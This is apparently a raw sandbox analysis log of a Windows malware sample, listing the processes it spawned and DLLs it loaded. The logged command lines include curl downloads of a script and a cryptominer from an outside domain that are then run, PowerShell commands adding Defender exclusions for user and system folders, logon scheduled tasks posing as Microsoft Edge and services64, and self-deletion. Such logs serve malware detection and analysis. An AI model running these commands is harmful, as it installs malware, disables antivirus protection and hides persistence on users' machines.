Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe "C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe	Process created: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe "C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del conf.vbs 2>nul && curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php && cscript conf.vbs	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c cd /d %temp% && del miner2.0.exe 2>nul && curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe && start miner2.0.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000359001\loader_5879465914.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -o conf.vbs https://eijfrhegrtbrfcd.online/download/conf1.php	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cscript.exe cscript conf.vbs	Jump to behavior
Source: C:\Windows\System32\cscript.exe	Process created: C:\Windows\System32\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /tn "Microsoft Edge" /tr "C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe" /sc onlogon /rl highest /f	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Users\user\AppData\Local\Temp\Microsoft-Edge.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -o miner2.0.exe https://eijfrhegrtbrfcd.online/download/miner2.0.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\miner2.0.exe miner2.0.exe
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Users\user\AppData\Local\Temp\miner2.0.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Users\user\AppData\Local\Temp\miner2.0.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\services64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "cmd" /c powershell -Command Add-MpPreference -ExclusionPath '%UserProfile%' & powershell -Command Add-MpPreference -ExclusionPath '%AppData%' & powershell -Command Add-MpPreference -ExclusionPath '%Temp%' & powershell -Command Add-MpPreference -ExclusionPath '%SystemRoot%' & exit
Source: C:\Windows\System32\services64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Roaming'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command Add-MpPreference -ExclusionPath 'C:\Windows'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\Microsoft\Libs\sihost64.exe "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\svchost64.exe C:\Users\user\AppData\Local\Temp\svchost64.exe "C:\Windows\system32\services64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"' & exit
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\Microsoft\Libs\sihost64.exe "C:\Windows\system32\Microsoft\Libs\sihost64.exe"
Source: C:\Users\user\AppData\Local\Temp\svchost64.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C choice /C Y /N /D Y /T 3 & Del "C:\Users\user\AppData\Local\Temp\svchost64.exe"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Windows\system32\services64.exe"'
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\choice.exe choice /C Y /N /D Y /T 3

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
